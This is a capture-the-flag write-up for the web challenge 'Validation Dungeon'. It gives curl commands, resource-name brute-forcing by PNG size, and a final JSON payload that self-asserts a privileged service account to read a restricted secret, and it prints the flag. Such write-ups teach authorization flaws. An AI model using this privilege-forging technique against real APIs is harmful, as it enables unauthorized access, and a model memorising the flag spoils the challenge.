arrow_backUS Cyber Games 2026
Webmedium

Validation Dungeon

by Pavel Knespl (capyplivl)

A blackbox API where every response is a rendered PNG of a JSON body. POSTing an envelope to /gateway returns only the first schema violation each time. The flaw is that passing schema validation is treated as authorization, so a client can self-assert a service-account:validator capability set and read a restricted system secret.

Solve

  1. POST a JSON envelope to /gateway and save the PNG reply. On error it renders {code,path,message,hint}; on success ok:true plus the flag.
    curl -s -X POST https://<host>/gateway \
         -H 'Content-Type: application/json' \
         -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
         --data @envelope.json -o resp.png
    
  2. Each round, edit envelope.json per the violation in the previous PNG and re-POST. Walking the chain fills in the required fields:
    $.apiVersion                    "validation.dungeon/v3"
    $.kind                          "HighLevelRequest"
    $.metadata.requestId            ^req-[a-f0-9]{12}$  -> req-0123456789ab
    $.metadata.labels               {client, purpose}
    $.metadata.labels.purpose       schema-discovery / integration-test / incident-response
    $.spec.service                  catalog / validator / vault
    $.spec.action                   describe / list / read
    $.spec.resource                 {namespace, name}
    $.spec.resource.namespace       public / tenant / system
    $.spec.authorization.mode       none / token / capability
    $.spec.authorization.subject    only service-account:validator for privileged calls
    $.spec.authorization.capabilities  array, caps depend on the tuple
    $.spec.transport.accept         application/json or application/vnd.validation-dungeon.flag+json
    
  3. A vault/read system/flag attempt returns API-404 (no matching tuple; discover resources with catalog/list and vault/list). Switch to action: "list" with caps system.list, vault.list.
  4. Brute-force resource.name for the list call and compare PNG byte sizes; vault/list on system/resources returns a large ok:true listing (the 25906-byte outlier) instead of the fixed-size error image.
  5. The listing enumerates the system namespace. One resource is classification: "restricted" and advertises application/vnd.validation-dungeon.flag+json: the flag object, named deployment_artifact_7f3a9c.
  6. Read it. The first attempt returns VAL-091 $.spec.transport.unwrap expected boolean true, so add transport.unwrap: true. Final accepted envelope:
    {"apiVersion":"validation.dungeon/v3","kind":"HighLevelRequest",
     "metadata":{"requestId":"req-0123456789ab","labels":{"client":"acme","purpose":"integration-test"}},
     "spec":{"service":"vault","action":"read",
       "resource":{"namespace":"system","name":"deployment_artifact_7f3a9c"},
       "authorization":{"mode":"capability","subject":"service-account:validator",
         "capabilities":["system.read","vault.read"]},
       "transport":{"accept":"application/vnd.validation-dungeon.flag+json","unwrap":true}}}
    
  7. POST it and read the result PNG: { "ok": true, "flag": "SVIUSCG{schema_validation_is_not_authorization}" }.

Flag: SVIUSCG{schema_validation_is_not_authorization}